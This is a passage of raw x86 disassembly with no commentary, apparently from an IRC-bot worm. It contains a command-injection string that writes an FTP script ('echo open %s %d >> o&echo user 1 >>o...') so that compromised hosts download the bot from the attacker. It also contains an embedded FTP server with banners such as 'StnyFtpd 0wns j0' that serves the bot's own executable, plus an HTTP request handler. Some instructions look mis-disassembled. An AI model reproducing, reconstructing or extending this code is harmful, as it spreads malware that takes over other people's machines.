		cmp	eax, esi
		jz	loc_40FCB2
		mov	dword ptr [ebp-4], 10h
		mov	esi, offset byte_43CCBC


loc_40FBC6:				; CODE XREF: seg000:0040FBDBj
					; seg000:0040FC4Ej ...
		lea	eax, [ebp-4]
		push	eax
		lea	eax, [ebp-24h]
		push	eax
		push	edi
		call	ds:dword_451584
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+8], eax
		jz	short loc_40FBC6
		movzx	eax, word ptr [ebp-22h]
		push	eax
		push	dword ptr [ebp-20h]
		call	ds:dword_45157C
		push	eax
		lea	eax, [ebp-2C0h]
		push	offset unk_449794
		push	eax
		call	sub_41D260
		add	esp, 10h
		cmp	dword ptr [ebp-2Ch], 0
		jnz	short loc_40FC27
		push	0
		lea	eax, [ebp-2C0h]
		push	dword ptr [ebp-30h]
		push	eax
		lea	eax, [ebp-0B0h]
		push	eax
		push	dword ptr [ebp-0C0h]
		call	sub_40145D
		add	esp, 14h


loc_40FC27:				; CODE XREF: seg000:0040FC04j
		lea	eax, [ebp-2C0h]
		push	eax
		call	sub_4161A7
		pop	ecx
		lea	eax, [ebp-2C0h]
		push	0
		push	200h
		push	eax
		push	dword ptr [ebp+8]
		call	ds:dword_45150C
		cmp	eax, 0FFFFFFFFh
		jz	loc_40FBC6
		push	esi
		push	esi
		push	ds:dword_4DF1B8
		push	dword ptr [ebp-0C0h]
		call	sub_402617
		pop	ecx
		push	eax
		push	offset aEchoOpenSDOE_1 ; "echo open %s %d >> o&echo user 1 >>o &e"...
		lea	eax, [ebp-6C0h]
		push	ebx
		push	eax
		call	sub_41D360
		add	esp, 1Ch
		lea	eax, [ebp-6C0h]
		push	0
		push	eax
		call	sub_41AC70
		pop	ecx
		push	eax
		lea	eax, [ebp-6C0h]
		push	eax
		push	dword ptr [ebp+8]
		call	ds:dword_451540
		cmp	eax, 0FFFFFFFFh
		jz	loc_40FBC6
		inc	ds:dword_4E2640
		jmp	loc_40FBC6
; ---------------------------------------------------------------------------


loc_40FCB2:				; CODE XREF: seg000:0040FBB4j
		push	edi
		call	ds:dword_451588
		push	dword ptr [ebp-0BCh]
		call	sub_40905B
		pop	ecx
		push	0
		call	near ptr 3D0000h
		cld
		push	ebp
		mov	ebp, esp
		sub	esp, 0A70h
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	1
		mov	ecx, 0A9h
		mov	esi, eax
		lea	edi, [ebp-6E0h]
		pop	ebx
		rep movsd
		mov	[eax+2A0h], ebx
		lea	eax, [ebp-0A70h]
		xor	esi, esi
		push	eax
		push	101h
		mov	[ebp-1Ch], ebx
		mov	[ebp-2Ch], ebx
		mov	[ebp-24h], ebx
		mov	[ebp-22Ch], esi
		mov	[ebp-43Ch], esi
		call	ds:dword_4F14DC	; WSAStartup
		push	esi
		push	ebx
		push	2
		call	ds:dword_4F14E4	; socket
		mov	esi, ds:dword_4F14BC
		lea	ecx, [ebp-1Ch]
		push	4
		push	ecx
		mov	edi, 0FFFFh
		push	4
		push	edi
		push	eax
		mov	[ebp-8], eax
		call	esi ; dword_4F14BC
		lea	eax, [ebp-2Ch]
		push	4
		push	eax
		push	0FFFFFFFBh
		push	edi
		mov	edi, [ebp-8]
		push	edi
		call	esi ; dword_4F14BC
		lea	eax, [ebp-24h]
		push	eax
		push	8004667Eh
		push	edi
		call	ds:dword_4F14C0	; ioctlsocket
		mov	ax, word ptr ds:dword_4DF1B8
		and	dword ptr [ebp-48h], 0
		push	eax
		mov	word ptr [ebp-4Ch], 2
		call	ds:dword_4514F4
		mov	[ebp-4Ah], ax
		lea	eax, [ebp-4Ch]
		push	10h
		push	eax
		push	edi
		call	ds:dword_4F14C4	; bind
		test	eax, eax
		jge	short loc_40FD93
		mov	eax, ebx
		jmp	loc_4102FA
; ---------------------------------------------------------------------------


loc_40FD93:				; CODE XREF: seg000:0040FD8Aj
		push	0Ah
		push	edi
		call	ds:dword_4F14C8	; listen
		mov	[ebp-22Ch], ebx
		mov	ebx, ds:dword_4F14E8
		mov	[ebp-228h], edi
		mov	[ebp-4], edi


loc_40FDB1:				; CODE XREF: seg000:0040FDEAj
					; seg000:004102F2j
		push	41h
		lea	esi, [ebp-22Ch]
		pop	ecx
		lea	edi, [ebp-43Ch]
		rep movsd
		xor	esi, esi
		lea	eax, [ebp-43Ch]
		push	esi
		push	esi
		push	esi
		push	eax
		mov	eax, [ebp-4]
		inc	eax
		push	eax
		call	ds:dword_4F14F4	; select
		cmp	eax, 0FFFFFFFFh
		jz	loc_4102F7
		xor	edi, edi
		cmp	[ebp-4], esi
		mov	[ebp+8], edi
		jl	short loc_40FDB1


loc_40FDEC:				; CODE XREF: seg000:004102ECj
		xor	esi, esi
		push	64h
		lea	eax, [ebp-2A0h]
		push	esi
		push	eax
		call	sub_41D100
		push	64h
		lea	eax, [ebp-0B0h]
		push	esi
		push	eax
		call	sub_41D100
		add	esp, 18h
		lea	eax, [ebp-43Ch]
		push	eax
		push	edi
		call	sub_437842	; __WSAFDIsSet
		test	eax, eax
		jz	loc_4102E5
		cmp	edi, [ebp-8]
		jnz	short loc_40FEA3
		lea	eax, [ebp-10h]
		mov	dword ptr [ebp-10h], 10h
		push	eax
		lea	eax, [ebp-23Ch]
		push	eax
		push	dword ptr [ebp-8]
		call	ds:dword_4F14CC	; accept
		cmp	eax, 0FFFFFFFFh
		jz	loc_4102E5
		xor	ecx, ecx
		cmp	[ebp-22Ch], esi
		jbe	short loc_40FE6D
		lea	edx, [ebp-228h]


loc_40FE5D:				; CODE XREF: seg000:0040FE6Bj
		cmp	[edx], eax
		jz	short loc_40FE6D
		inc	ecx
		add	edx, 4
		cmp	ecx, [ebp-22Ch]
		jb	short loc_40FE5D


loc_40FE6D:				; CODE XREF: seg000:0040FE55j
					; seg000:0040FE5Fj
		cmp	ecx, [ebp-22Ch]
		jnz	short loc_40FE8B
		cmp	dword ptr [ebp-22Ch], 40h
		jnb	short loc_40FE8B
		mov	[ebp+ecx*4-228h], eax
		inc	dword ptr [ebp-22Ch]


loc_40FE8B:				; CODE XREF: seg000:0040FE73j
					; seg000:0040FE7Cj
		cmp	eax, [ebp-4]
		jle	short loc_40FE93
		mov	[ebp-4], eax


loc_40FE93:				; CODE XREF: seg000:0040FE8Ej
		push	esi
		push	15h
		push	offset a220Stnyftpd0wn ; "220 StnyFtpd 0wns j0\n"
		push	eax
		call	ebx ; dword_4F14E8
		jmp	loc_4102E5
; ---------------------------------------------------------------------------


loc_40FEA3:				; CODE XREF: seg000:0040FE27j
		push	esi
		lea	eax, [ebp-2A0h]
		push	64h
		push	eax
		push	edi
		call	ds:dword_4F14E0	; recv
		test	eax, eax
		jg	short loc_40FF0A
		mov	edx, [ebp-22Ch]
		xor	ecx, ecx
		cmp	edx, esi
		jbe	short loc_40FEFE
		lea	eax, [ebp-228h]


loc_40FECA:				; CODE XREF: seg000:0040FED4j
		cmp	[eax], edi
		jz	short loc_40FED8
		inc	ecx
		add	eax, 4
		cmp	ecx, edx
		jb	short loc_40FECA
		jmp	short loc_40FEFE
; ---------------------------------------------------------------------------


loc_40FED8:				; CODE XREF: seg000:0040FECCj
		dec	edx
		cmp	ecx, edx
		jnb	short loc_40FEF8
		lea	eax, [ebp+ecx*4-228h]


loc_40FEE4:				; CODE XREF: seg000:0040FEF6j
		mov	edx, [eax+4]
		inc	ecx
		mov	[eax], edx
		mov	edx, [ebp-22Ch]
		add	eax, 4
		dec	edx
		cmp	ecx, edx
		jb	short loc_40FEE4


loc_40FEF8:				; CODE XREF: seg000:0040FEDBj
		dec	dword ptr [ebp-22Ch]


loc_40FEFE:				; CODE XREF: seg000:0040FEC2j
					; seg000:0040FED6j
		push	edi
		call	ds:dword_4F14D0	; closesocket
		jmp	loc_4102E5
; ---------------------------------------------------------------------------


loc_40FF0A:				; CODE XREF: seg000:0040FEB6j
		lea	eax, [ebp-338h]
		push	eax
		lea	eax, [ebp-0B0h]
		push	eax
		lea	eax, [ebp-2A0h]
		push	offset aSS_1	; "%s %s"
		push	eax
		call	sub_41EB80
		lea	eax, [ebp-0B0h]
		push	offset aUser_1	; "USER"
		push	eax
		call	sub_41D900
		add	esp, 18h
		test	eax, eax
		jnz	short loc_40FF4E
		push	esi
		push	16h
		push	offset a331PasswordReq ; "331 Password required\n"
		jmp	loc_4102D0
; ---------------------------------------------------------------------------


loc_40FF4E:				; CODE XREF: seg000:0040FF3Fj
		lea	eax, [ebp-0B0h]
		push	offset aPass	; "PASS"
		push	eax
		call	sub_41D900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40FF72
		push	esi
		push	14h
		push	offset a230UserLoggedI ; "230 User logged in.\n"
		jmp	loc_4102D0
; ---------------------------------------------------------------------------


loc_40FF72:				; CODE XREF: seg000:0040FF63j
		lea	eax, [ebp-0B0h]
		push	offset aSyst	; "SYST"
		push	eax
		call	sub_41D900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40FF96
		push	esi
		push	0Dh
		push	offset a215Stnyftpd ; "215 StnyFtpd\n"
		jmp	loc_4102D0
; ---------------------------------------------------------------------------


loc_40FF96:				; CODE XREF: seg000:0040FF87j
		lea	eax, [ebp-0B0h]
		push	offset aRest	; "REST"
		push	eax
		call	sub_41D900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40FFBA
		push	esi
		push	10h
		push	offset a350Restarting_ ; "350 Restarting.\n"
		jmp	loc_4102D0
; ---------------------------------------------------------------------------


loc_40FFBA:				; CODE XREF: seg000:0040FFABj
		lea	eax, [ebp-0B0h]
		push	offset off_4498E8
		push	eax
		call	sub_41D900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40FFDE
		push	esi
		push	1Eh
		push	offset a257IsCurrentDi ; "257 \"/\" is current directory.\n"
		jmp	loc_4102D0
; ---------------------------------------------------------------------------


loc_40FFDE:				; CODE XREF: seg000:0040FFCFj
		lea	eax, [ebp-0B0h]
		push	offset aType	; "TYPE"
		push	eax
		call	sub_41D900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_410019
		lea	eax, [ebp-338h]
		push	offset aA_0	; "A"
		push	eax
		call	sub_41D900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_410019
		push	esi
		push	13h
		push	offset a200TypeSetToA_ ; "200 Type set to A.\n"
		jmp	loc_4102D0
; ---------------------------------------------------------------------------


loc_410019:				; CODE XREF: seg000:0040FFF3j
					; seg000:0041000Aj
		lea	eax, [ebp-0B0h]
		push	offset aType_0	; "TYPE"
		push	eax
		call	sub_41D900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_410054
		lea	eax, [ebp-338h]
		push	offset aI	; "I"
		push	eax
		call	sub_41D900


loc_410041:				; DATA XREF: seg000:0040E5E7o
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_410054
		push	esi
		push	13h
		push	offset a200TypeSetToI_ ; "200 Type set to I.\n"
		jmp	loc_4102D0
; ---------------------------------------------------------------------------


loc_410054:				; CODE XREF: seg000:0041002Ej
					; seg000:00410045j
					; DATA XREF: ...
		lea	eax, [ebp-0B0h]
		push	offset aPasv	; "PASV"
		push	eax
		call	sub_41D900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4100A2
		push	0Ah
		mov	esi, offset a425PassiveNotS ; "425 Passive not supported on this serve"...
		pop	ecx
		lea	edi, [ebp-128h]
		rep movsd
		push	eax
		lea	eax, [ebp-128h]
		push	eax
		movsw
		call	sub_41AC70
		pop	ecx
		push	eax
		lea	eax, [ebp-128h]


loc_410092:				; CODE XREF: seg000:004100E1j
		push	eax
		push	dword ptr [ebp+8]
		call	ebx ; dword_4F14E8
		xor	esi, esi


loc_41009A:				; CODE XREF: seg000:004101B1j
		mov	edi, [ebp+8]
		jmp	loc_4102D3
; ---------------------------------------------------------------------------


loc_4100A2:				; CODE XREF: seg000:00410069j
		lea	eax, [ebp-0B0h]
		push	offset aList_0	; "LIST"
		push	eax
		call	sub_41D900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4100E3
		push	5
		mov	esi, offset a226TransferCom ; "226 Transfer complete\n"
		pop	ecx
		lea	edi, [ebp-0C8h]
		rep movsd
		movsw
		push	eax
		lea	eax, [ebp-0C8h]
		push	eax
		movsb
		call	sub_41AC70
		pop	ecx
		push	eax
		lea	eax, [ebp-0C8h]
		jmp	short loc_410092
; ---------------------------------------------------------------------------


loc_4100E3:				; CODE XREF: seg000:004100B7j
		lea	eax, [ebp-0B0h]
		push	offset aPort	; "PORT"
		push	eax
		call	sub_41D900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4101B6
		lea	eax, [ebp-2D4h]
		push	eax
		lea	eax, [ebp-0FCh]
		push	eax
		lea	eax, [ebp-14h]
		push	eax
		lea	eax, [ebp-18h]
		push	eax
		lea	eax, [ebp-20h]
		push	eax
		lea	eax, [ebp-28h]
		push	eax
		lea	eax, [ebp-2A0h]
		push	offset aS_19	; "%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^\n]"...
		push	eax
		call	sub_41EB80
		lea	eax, [ebp-0FCh]
		push	eax
		call	sub_41D560
		mov	edi, eax
		lea	eax, [ebp-2D4h]
		push	eax
		call	sub_41D560
		mov	[ebp-0Ch], eax
		push	32h
		lea	eax, [ebp-0FCh]
		push	esi
		push	eax
		call	sub_41D100
		push	dword ptr [ebp-0Ch]
		lea	eax, [ebp-0FCh]
		push	edi
		push	offset aXX	; "%x%x\n"
		push	eax
		call	sub_41D260
		add	esp, 44h
		lea	eax, [ebp-0FCh]
		push	10h
		push	esi
		push	eax
		call	sub_41E380
		mov	[ebp-0Ch], eax
		lea	eax, [ebp-14h]
		push	eax
		lea	eax, [ebp-18h]
		push	eax
		lea	eax, [ebp-20h]
		push	eax
		lea	eax, [ebp-28h]
		push	eax
		lea	eax, [ebp-3Ch]
		push	offset aS_S_S_S	; "%s.%s.%s.%s"
		push	eax
		call	sub_41D260
		add	esp, 24h
		push	esi
		push	1Dh
		push	offset a200PortCommand ; "200 PORT command successful.\n"
		push	dword ptr [ebp+8]
		call	ebx ; dword_4F14E8
		jmp	loc_41009A
; ---------------------------------------------------------------------------


loc_4101B6:				; CODE XREF: seg000:004100F8j
		lea	eax, [ebp-0B0h]
		push	offset aRetr	; "RETR"
		push	eax
		call	sub_41D900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4102B1
		push	esi
		push	28h
		push	offset a150OpeningBina ; "150 Opening BINARY mode data connection"...
		push	edi
		call	ebx ; dword_4F14E8
		push	dword ptr [ebp-0Ch]
		lea	eax, [ebp-3Ch]
		push	eax
		call	sub_410301
		pop	ecx
		cmp	eax, 1
		pop	ecx
		jnz	loc_4102A7
		lea	eax, [ebp-3Ch]
		push	eax
		lea	eax, [ebp-8E0h]
		push	offset dword_449A38
		push	eax
		call	sub_41D260
		add	esp, 0Ch
		cmp	[ebp-444h], esi
		jnz	short loc_410236
		push	esi
		lea	eax, [ebp-8E0h]
		push	dword ptr [ebp-448h]
		push	eax
		lea	eax, [ebp-4C8h]
		push	eax
		push	dword ptr [ebp-6E0h]
		call	sub_40145D
		add	esp, 14h


loc_410236:				; CODE XREF: seg000:00410211j
		call	sub_41037E
		cmp	eax, 1
		jnz	loc_4102D3
		push	esi
		push	17h
		push	offset a226TransferC_0 ; "226 Transfer complete.\n"
		push	edi
		call	ebx ; dword_4F14E8
		lea	eax, [ebp-3Ch]
		push	eax
		lea	eax, [ebp-8E0h]
		push	offset dword_449A9C
		push	eax
		call	sub_41D260
		add	esp, 0Ch
		cmp	[ebp-444h], esi
		jnz	short loc_410292
		push	esi
		lea	eax, [ebp-8E0h]
		push	dword ptr [ebp-448h]
		push	eax
		lea	eax, [ebp-4C8h]
		push	eax
		push	dword ptr [ebp-6E0h]
		call	sub_40145D
		add	esp, 14h


loc_410292:				; CODE XREF: seg000:0041026Dj
		lea	eax, [ebp-8E0h]
		push	eax
		call	sub_4161A7
		inc	ds:dword_4E1D38
		pop	ecx
		jmp	short loc_4102D3
; ---------------------------------------------------------------------------


loc_4102A7:				; CODE XREF: seg000:004101EDj
		push	esi
		push	20h
		push	offset a425CanTOpenDat ; "425 Can't open data connection.\n"
		jmp	short loc_4102D0
; ---------------------------------------------------------------------------


loc_4102B1:				; CODE XREF: seg000:004101CBj
		lea	eax, [ebp-0B0h]
		push	offset aQuit_1	; "QUIT"
		push	eax
		call	sub_41D900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4102D3
		push	esi
		push	1Bh
		push	offset a221GoodbyeHapp ; "221 Goodbye happy r00ting.\n"


loc_4102D0:				; CODE XREF: seg000:0040FF49j
					; seg000:0040FF6Dj ...
		push	edi
		call	ebx ; dword_4F14E8


loc_4102D3:				; CODE XREF: seg000:0041009Dj
					; seg000:0041023Ej ...
		push	64h
		lea	eax, [ebp-2A0h]
		push	esi
		push	eax
		call	sub_41D100
		add	esp, 0Ch


loc_4102E5:				; CODE XREF: seg000:0040FE1Ej
					; seg000:0040FE47j ...
		inc	edi
		cmp	edi, [ebp-4]
		mov	[ebp+8], edi
		jle	loc_40FDEC
		jmp	loc_40FDB1
; ---------------------------------------------------------------------------


loc_4102F7:				; CODE XREF: seg000:0040FDDCj
		push	1
		pop	eax


loc_4102FA:				; CODE XREF: seg000:0040FD8Ej
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410301	proc near		; CODE XREF: seg000:004101E3p

var_1A0		= byte ptr -1A0h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 1A0h
		lea	eax, [ebp+var_1A0]
		push	eax
		push	101h
		call	ds:dword_4F14DC	; WSAStartup
		push	0
		push	1
		push	2
		call	ds:dword_4F14E4	; socket
		push	[ebp+arg_0]
		mov	ds:dword_4E2644, eax
		mov	[ebp+var_10], 2
		call	ds:dword_4F14F0	; inet_addr
		push	[ebp+arg_4]
		mov	[ebp+var_C], eax
		call	ds:dword_4F14D4	; ntohs
		mov	[ebp+var_E], ax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	ds:dword_4E2644
		call	ds:dword_4F14B4	; connect
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_410379
		push	ds:dword_4E2644
		call	ds:dword_4F14D0	; closesocket
		call	ds:dword_4F14B8	; WSACleanup
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_410379:				; CODE XREF: sub_410301+60j
		push	1
		pop	eax
		leave
		retn
sub_410301	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41037E	proc near		; CODE XREF: seg000:loc_410236p

var_504		= byte ptr -504h
var_104		= byte ptr -104h

		push	ebp
		mov	ebp, esp
		sub	esp, 504h
		push	esi
		lea	eax, [ebp+var_104]
		push	104h
		push	eax
		push	0
		call	near ptr 3D0000h
		stosb
		lea	eax, [ebp+var_104]
		push	offset aRb	; "rb"
		push	eax
		call	sub_41D0E0
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_410415
		test	byte ptr [esi+0Ch], 10h
		jnz	short loc_4103F9
		push	edi
		mov	edi, 400h


loc_4103C1:				; CODE XREF: sub_41037E+78j
		push	esi
		push	1
		lea	eax, [ebp+var_504]
		push	edi
		push	eax
		call	sub_41CDD0
		add	esp, 10h
		lea	eax, [ebp+var_504]
		push	0
		push	edi
		push	eax
		push	ds:dword_4E2644
		call	ds:dword_4F14E8	; send
		push	1
		call	ds:dword_4F12F4	; Sleep
		test	byte ptr [esi+0Ch], 10h
		jz	short loc_4103C1
		pop	edi


loc_4103F9:				; CODE XREF: sub_41037E+3Bj
		push	esi
		call	sub_41ACF0
		pop	ecx
		push	ds:dword_4E2644
		call	ds:dword_4F14D0	; closesocket
		call	ds:dword_4F14B8	; WSACleanup
		push	1
		pop	eax


loc_410415:				; CODE XREF: sub_41037E+35j
		pop	esi
		leave
		retn
sub_41037E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410418	proc near		; DATA XREF: seg000:0040798Eo
					; seg000:00409B83o

var_28F0	= byte ptr -28F0h
var_18F0	= byte ptr -18F0h
var_8F0		= byte ptr -8F0h
var_6F0		= byte ptr -6F0h
var_5EC		= dword	ptr -5ECh
var_5E8		= byte ptr -5E8h
var_360		= byte ptr -360h
var_25C		= dword	ptr -25Ch
var_254		= dword	ptr -254h
var_250		= dword	ptr -250h
var_24C		= dword	ptr -24Ch
var_248		= dword	ptr -248h
var_23C		= byte ptr -23Ch
var_138		= dword	ptr -138h
var_134		= dword	ptr -134h
var_34		= byte ptr -34h
var_24		= word ptr -24h
var_22		= word ptr -22h
var_20		= dword	ptr -20h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 28F0h
		call	sub_41DEB0
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0ECh
		mov	esi, eax
		lea	edi, [ebp+var_5EC]
		push	1
		rep movsd
		pop	esi
		xor	ebx, ebx
		mov	[eax+3ACh], esi
		push	10h
		lea	eax, [ebp+var_24]
		push	ebx
		push	eax
		mov	[ebp+var_14], esi
		call	sub_41D100
		add	esp, 0Ch
		mov	[ebp+var_24], 2
		push	[ebp+var_25C]
		call	ds:dword_4514F4
		push	ebx
		push	esi
		push	2
		mov	[ebp+var_22], ax
		mov	[ebp+var_20], ebx
		call	ds:dword_451570
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_C], edi
		jz	loc_410809
		mov	eax, [ebp+var_254]
		push	10h
		imul	eax, 234h
		mov	ds:dword_4523C4[eax], edi
		lea	eax, [ebp+var_24]
		push	eax
		push	edi
		call	ds:dword_451520
		cmp	eax, 0FFFFFFFFh
		jz	loc_410809
		push	7FFFFFFFh
		push	edi
		call	ds:dword_45151C
		cmp	eax, 0FFFFFFFFh
		jz	loc_410809
		lea	eax, [ebp+var_14]
		push	eax
		push	8004667Eh
		push	edi
		call	ds:dword_45158C
		cmp	eax, 0FFFFFFFFh
		jz	loc_410809
		mov	ebx, esi
		mov	[ebp+var_134], edi
		mov	[ebp+var_138], ebx
		mov	[ebp+var_8], edi


loc_4104EF:				; CODE XREF: sub_410418+3E7j
		push	41h
		xor	eax, eax
		pop	ecx
		lea	esi, [ebp+var_138]
		push	eax
		push	eax
		push	eax
		lea	eax, [ebp+var_6F0]
		push	eax
		mov	eax, [ebp+var_8]
		lea	edi, [ebp+var_6F0]
		inc	eax
		rep movsd
		push	eax
		call	ds:dword_4514DC
		cmp	eax, 0FFFFFFFFh
		jz	loc_410804
		xor	esi, esi
		mov	[ebp+var_4], esi


loc_410525:				; CODE XREF: sub_410418+3E1j
		lea	eax, [ebp+var_6F0]
		push	eax
		push	esi
		call	ds:dword_4513E4
		test	eax, eax
		jz	loc_4107EF
		cmp	esi, [ebp+var_C]
		jnz	short loc_4105A7
		lea	eax, [ebp+var_10]
		mov	[ebp+var_10], 10h
		push	eax
		lea	eax, [ebp+var_34]
		push	eax
		push	[ebp+var_C]
		call	ds:dword_451584
		cmp	eax, 0FFFFFFFFh
		jz	loc_4107EF
		xor	ecx, ecx
		test	ebx, ebx
		jbe	short loc_410579
		lea	edx, [ebp+var_134]


loc_41056D:				; CODE XREF: sub_410418+15Fj
		cmp	[edx], eax
		jz	short loc_410579
		inc	ecx
		add	edx, 4
		cmp	ecx, ebx
		jb	short loc_41056D


loc_410579:				; CODE XREF: sub_410418+14Dj
					; sub_410418+157j
		cmp	ecx, ebx
		jnz	short loc_410596
		cmp	ebx, 40h
		jnb	short loc_410596
		mov	[ebp+ecx*4+var_134], eax
		mov	ebx, [ebp+var_138]
		inc	ebx
		mov	[ebp+var_138], ebx


loc_410596:				; CODE XREF: sub_410418+163j
					; sub_410418+168j
		cmp	eax, [ebp+var_8]
		jbe	loc_4107EF
		mov	[ebp+var_8], eax
		jmp	loc_4107EF
; ---------------------------------------------------------------------------


loc_4105A7:				; CODE XREF: sub_410418+126j
		mov	edi, 1000h
		lea	eax, [ebp+var_28F0]
		push	edi
		push	0
		push	eax
		call	sub_41D100
		push	edi
		lea	eax, [ebp+var_18F0]
		push	0
		push	eax
		call	sub_41D100
		add	esp, 18h
		lea	eax, [ebp+var_28F0]
		push	0
		push	edi
		push	eax
		push	esi
		call	ds:dword_45150C
		test	eax, eax
		jg	short loc_41063A
		push	esi
		call	ds:dword_451588
		xor	ecx, ecx
		test	ebx, ebx
		jbe	loc_4107EF
		lea	eax, [ebp+var_134]


loc_4105F9:				; CODE XREF: sub_410418+1EBj
		cmp	[eax], esi
		jz	short loc_41060A
		inc	ecx
		add	eax, 4
		cmp	ecx, ebx
		jb	short loc_4105F9
		jmp	loc_4107EF
; ---------------------------------------------------------------------------


loc_41060A:				; CODE XREF: sub_410418+1E3j
		lea	eax, [ebx-1]
		cmp	ecx, eax
		jnb	short loc_41062E
		lea	eax, [ebp+ecx*4+var_134]


loc_410618:				; CODE XREF: sub_410418+214j
		mov	edx, [eax+4]
		inc	ecx
		mov	[eax], edx
		mov	ebx, [ebp+var_138]
		add	eax, 4
		lea	edx, [ebx-1]
		cmp	ecx, edx
		jb	short loc_410618


loc_41062E:				; CODE XREF: sub_410418+1F7j
		dec	ebx
		mov	[ebp+var_138], ebx
		jmp	loc_4107EF
; ---------------------------------------------------------------------------


loc_41063A:				; CODE XREF: sub_410418+1C8j
		xor	esi, esi
		push	104h
		lea	eax, [ebp+var_23C]
		push	esi
		push	eax
		call	sub_41D100
		lea	eax, [ebp+var_28F0]
		mov	[ebp+arg_0], esi
		push	eax
		call	sub_41AC70
		add	esp, 10h
		test	eax, eax
		jbe	loc_4107EF


loc_410668:				; CODE XREF: sub_410418+30Fj
		mov	eax, [ebp+arg_0]
		mov	al, [ebp+eax+var_28F0]
		cmp	al, 0Ah
		mov	[ebp+esi+var_18F0], al
		jnz	loc_410713
		lea	eax, [ebp+var_18F0]
		push	offset aGet	; "GET "
		push	eax
		call	sub_41DBE0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4106E7
		lea	eax, [ebp+var_18F0]
		push	eax
		call	sub_41AC70
		cmp	eax, 5
		pop	ecx
		jbe	short loc_4106E7
		push	offset asc_449B48 ; " "
		push	offset asc_449B4C ; " "
		lea	eax, [ebp+var_18F0]
		push	offset aGet_0	; "GET "
		push	eax
		call	sub_41DBE0
		pop	ecx
		pop	ecx
		push	eax
		call	sub_41DBE0
		pop	ecx
		pop	ecx
		push	eax
		call	sub_41D6B0
		push	eax
		lea	eax, [ebp+var_23C]
		push	eax
		call	sub_41E550
		add	esp, 10h
		jmp	short loc_4106FE
; ---------------------------------------------------------------------------


loc_4106E7:				; CODE XREF: sub_410418+27Ej
					; sub_410418+290j
		lea	eax, [ebp+var_18F0]
		push	offset asc_449B58 ; "\r\n"
		push	eax
		call	sub_41D900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_410732


loc_4106FE:				; CODE XREF: sub_410418+2CDj
		push	edi
		lea	eax, [ebp+var_18F0]
		push	0
		push	eax
		call	sub_41D100
		add	esp, 0Ch
		or	esi, 0FFFFFFFFh


loc_410713:				; CODE XREF: sub_410418+263j
		inc	[ebp+arg_0]
		lea	eax, [ebp+var_28F0]
		push	eax
		inc	esi
		call	sub_41AC70
		cmp	[ebp+arg_0], eax
		pop	ecx
		jb	loc_410668
		jmp	loc_4107EF
; ---------------------------------------------------------------------------


loc_410732:				; CODE XREF: sub_410418+2E4j
		xor	ecx, ecx
		test	ebx, ebx
		jbe	short loc_41077C
		lea	eax, [ebp+var_134]


loc_41073E:				; CODE XREF: sub_410418+333j
		mov	esi, [ebp+var_4]
		cmp	[eax], esi
		jz	short loc_41074F
		inc	ecx
		add	eax, 4
		cmp	ecx, ebx
		jb	short loc_41073E
		jmp	short loc_41077F
; ---------------------------------------------------------------------------


loc_41074F:				; CODE XREF: sub_410418+32Bj
		lea	eax, [ebx-1]
		cmp	ecx, eax
		jnb	short loc_410773
		lea	eax, [ebp+ecx*4+var_134]


loc_41075D:				; CODE XREF: sub_410418+359j
		mov	edx, [eax+4]
		inc	ecx
		mov	[eax], edx
		mov	ebx, [ebp+var_138]
		add	eax, 4
		lea	edx, [ebx-1]
		cmp	ecx, edx
		jb	short loc_41075D


loc_410773:				; CODE XREF: sub_410418+33Cj
		dec	ebx
		mov	[ebp+var_138], ebx
		jmp	short loc_41077F
; ---------------------------------------------------------------------------


loc_41077C:				; CODE XREF: sub_410418+31Ej
		mov	esi, [ebp+var_4]


loc_41077F:				; CODE XREF: sub_410418+335j
					; sub_410418+362j
		lea	eax, [ebp+var_23C]
		test	eax, eax
		jz	short loc_4107E8
		lea	eax, [ebp+var_360]
		push	eax
		call	sub_41AC70
		mov	edi, eax
		lea	eax, [ebp+var_23C]
		push	eax
		call	sub_41AC70
		add	edi, eax
		pop	ecx
		cmp	edi, 104h
		pop	ecx
		jnb	short loc_4107E8
		and	[ebp+arg_0], 0
		lea	eax, [ebp+arg_0]
		push	eax
		push	8004667Eh
		push	esi
		call	ds:dword_45158C
		push	[ebp+var_254]
		lea	eax, [ebp+var_23C]
		push	[ebp+var_248]
		push	eax
		lea	eax, [ebp+var_360]
		push	eax
		push	esi
		call	near ptr loc_4109F8+3
		add	esp, 14h
		jmp	short loc_4107EF
; ---------------------------------------------------------------------------


